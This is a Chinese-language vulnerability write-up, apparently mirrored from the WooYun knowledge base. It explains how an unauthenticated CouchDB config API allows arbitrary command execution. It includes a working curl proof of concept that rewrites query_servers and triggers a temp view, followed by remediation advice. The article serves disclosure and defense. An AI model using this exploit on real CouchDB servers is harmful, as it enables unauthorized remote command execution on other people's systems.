利用CouchDB未授權訪問漏洞執行任意系統命令

wyzsk發表於2020-08-19
作者: 阿里雲安全 · 2016/05/19 9:06

0x00 前言


5月16日阿里雲盾攻防對抗團隊從外部渠道獲知CouchDB資料庫存在未授權訪問漏洞(在配置不正確的情況下)。經過測試,雲盾團隊率先發現利用該未授權訪問漏洞不僅會造成資料的丟失和洩露,甚至可執行任意系統命令。雲盾安全專家團隊第一時間完成了漏洞上報、安全評級,並通知了所有可能受影響的使用者。下面將對該漏洞的出處和技術細節做詳細解釋。

0x01 漏洞的來龍去脈


CouchDB 是一個開源的面向文件的資料庫管理系統,可以透過 RESTful JavaScript Object Notation (JSON) API 訪問。CouchDB會預設會在5984埠開放Restful的API介面,用於資料庫的管理功能。

那麼,問題出在哪呢?翻閱官方描述會發現,CouchDB中有一個Query_Server的配置項,在官方文件中是這麼描述的:

CouchDB delegates computation of design documents functions to external query servers. The external query server is a special OS process which communicates with CouchDB over standard input/output using a very simple line-based protocol with JSON messages.

直白點說,就是CouchDB允許使用者指定一個二進位制程式或者指令碼,與CouchDB進行資料互動和處理,query_server在配置檔案local.ini中的格式:

[query_servers]
LANGUAGE = PATH ARGS

預設情況下,配置檔案中已經設定了兩個query_servers:

[query_servers]
javascript = /usr/bin/couchjs /usr/share/couchdb/server/main.js
coffeescript = /usr/bin/couchjs /usr/share/couchdb/server/main-coffee.js

可以看到,CouchDB在query_server中引入了外部的二進位制程式來執行命令,如果我們可以更改這個配置,那麼就可以利用資料庫來執行命令了,但是這個配置是在local.ini檔案中的,如何控制呢?

繼續讀官方的文件,發現了一個有意思的功能,CouchDB提供了一個API介面用來更改自身的配置,並把修改後的結果儲存到配置檔案中:

The CouchDB Server Configuration API provide an interface to query and update the various configuration values within a running CouchDB instance

也就是說,除了local.ini的配置檔案,CouchDB允許透過自身提供的Restful API介面動態修改配置屬性。結合以上兩點,我們可以透過一個未授權訪問的CouchDB,透過修改其query_server配置,來執行系統命令。

0x02 漏洞的POC


新增query_server配置,這裡執行ifconfig命令

#!shell
curl -X PUT 'http://1.1.1.1:5984/_config/query_servers/cmd' -d '"/sbin/ifconfig >/tmp/6666"'

新建一個臨時表,插入一條記錄

#!shell
curl -X PUT 'http://1.1.1.1:5984/vultest'
curl -X PUT 'http://1.1.1.1:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'

呼叫query_server處理資料

#!shell
curl -X POST 'http://1.1.1.1:5984/vultest/_temp_view?limit=11' -d '{"language":"cmd","map":""}' -H 'Content-Type: application/json'

執行後,可以看到,指定的命令已經成功執行:

至於如何回顯執行結果,各位可以動動腦筋,歡迎互動。

0x03 漏洞修復建議:


1、指定CouchDB繫結的IP (需要重啟CouchDB才能生效) 在 /etc/couchdb/local.ini 檔案中找到 “bind_address = 0.0.0.0” ,把 0.0.0.0 修改為 127.0.0.1 ,然後儲存。注:修改後只有本機才能訪問CouchDB。

2、設定訪問密碼 (需要重啟CouchDB才能生效) 在 /etc/couchdb/local.ini 中找到“[admins]”欄位配置密碼。

附:參考連結:

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章